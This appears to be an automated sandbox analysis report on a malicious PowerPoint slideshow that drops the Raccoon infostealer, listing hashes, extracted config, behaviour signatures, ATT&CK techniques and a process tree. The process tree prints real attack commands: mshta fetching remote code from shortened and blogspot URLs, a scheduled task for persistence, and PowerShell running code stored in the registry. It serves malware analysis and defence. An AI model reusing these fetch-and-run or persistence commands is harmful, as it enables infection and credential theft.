Analysis

  • max time kernel
    135s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    19-04-2021 12:22

General

  • Target

    a621e8ce92943201dce4f5965fa4199b.pps

  • Size

    62KB

  • MD5

    a621e8ce92943201dce4f5965fa4199b

  • SHA1

    d0c4e4d68327803cce5a31bf1b375faee2a3ebb9

  • SHA256

    4091dc5f238a7795b1ade8879c2bc7c9ac85ab1f107c2d1c3ac16a8da871ff7d

  • SHA512

    c7a4c42904a5aed4f8a381e3c92f20c9e8c164519b0e194ae4fea49c1de097818540f437ca15e6e875eab6ea93be9eebf9a92895abc8710c96bfb1be972e9107

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://%6786d78asd6786d78asd%6786d78asd%6786d78asd@j.mp/dmaddwwmwdiwdmddwdwnudnwdxx

Extracted

Family

raccoon

Botnet

e4dbb69554a4dcf2a21c14794d523a7e729dc429

Attributes
  • url4cnc

    https://telete.in/telehabarik

rc4.plain
rc4.plain

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Blocklisted process makes network request 12 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 45 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\a621e8ce92943201dce4f5965fa4199b.pps" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2116
    • C:\Windows\SYSTEM32\mshta.exe
      "mshta""https://%6786d78asd6786d78asd%6786d78asd%6786d78asd@j.mp/dmaddwwmwdiwdmddwdwnudnwdxx"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@getyournewblog.blogspot.com/p/42.html""\"", 0 : window.close"\")
        3⤵
        • Creates scheduled task(s)
        PID:3292
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:432
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2636
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 2348 -s 2464
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3848
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      2⤵
        PID:4252
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        2⤵
          PID:4260
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          2⤵
            PID:4268
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            2⤵
              PID:4276
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
              2⤵
                PID:4284
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                2⤵
                  PID:4292
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                  2⤵
                  • Loads dropped DLL
                  PID:4300
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 1544
                    3⤵
                    • Program crash
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4432

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Execution

              Scheduled Task

              1
              T1053

              Persistence

              Registry Run Keys / Startup Folder

              1
              T1060

              Scheduled Task

              1
              T1053

              Privilege Escalation

              Scheduled Task

              1
              T1053

              Defense Evasion

              Modify Registry

              1
              T1112

              Discovery

              System Information Discovery

              3
              T1082

              Query Registry

              2
              T1012

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • \Users\Admin\AppData\LocalLow\sqlite3.dll
                MD5

                f964811b68f9f1487c2b41e1aef576ce

                SHA1

                b423959793f14b1416bc3b7051bed58a1034025f

                SHA256

                83bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7

                SHA512

                565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4

              • memory/432-182-0x0000000000000000-mapping.dmp
              • memory/2116-114-0x00007FF8383E0000-0x00007FF8383F0000-memory.dmp
                Filesize

                64KB

              • memory/2116-115-0x00007FF8383E0000-0x00007FF8383F0000-memory.dmp
                Filesize

                64KB

              • memory/2116-116-0x00007FF8383E0000-0x00007FF8383F0000-memory.dmp
                Filesize

                64KB

              • memory/2116-117-0x00007FF8383E0000-0x00007FF8383F0000-memory.dmp
                Filesize

                64KB

              • memory/2116-119-0x00007FF8383E0000-0x00007FF8383F0000-memory.dmp
                Filesize

                64KB

              • memory/2116-118-0x00007FF85AE50000-0x00007FF85CA2D000-memory.dmp
                Filesize

                27.9MB

              • memory/2116-122-0x00000164968A0000-0x000001649798E000-memory.dmp
                Filesize

                16.9MB

              • memory/2116-123-0x00007FF851AB0000-0x00007FF8539A5000-memory.dmp
                Filesize

                31.0MB

              • memory/2116-179-0x00000164A4C50000-0x00000164A4C54000-memory.dmp
                Filesize

                16KB

              • memory/2348-180-0x0000000000000000-mapping.dmp
              • memory/2380-186-0x0000022062BB6000-0x0000022062BB8000-memory.dmp
                Filesize

                8KB

              • memory/2380-184-0x0000022062BB0000-0x0000022062BB2000-memory.dmp
                Filesize

                8KB

              • memory/2380-185-0x0000022062BB3000-0x0000022062BB5000-memory.dmp
                Filesize

                8KB

              • memory/2380-187-0x0000022062BB8000-0x0000022062BB9000-memory.dmp
                Filesize

                4KB

              • memory/2636-183-0x0000000000000000-mapping.dmp
              • memory/3292-181-0x0000000000000000-mapping.dmp
              • memory/4300-188-0x000000000043DC5B-mapping.dmp
              • memory/4300-189-0x0000000000400000-0x0000000000492000-memory.dmp
                Filesize

                584KB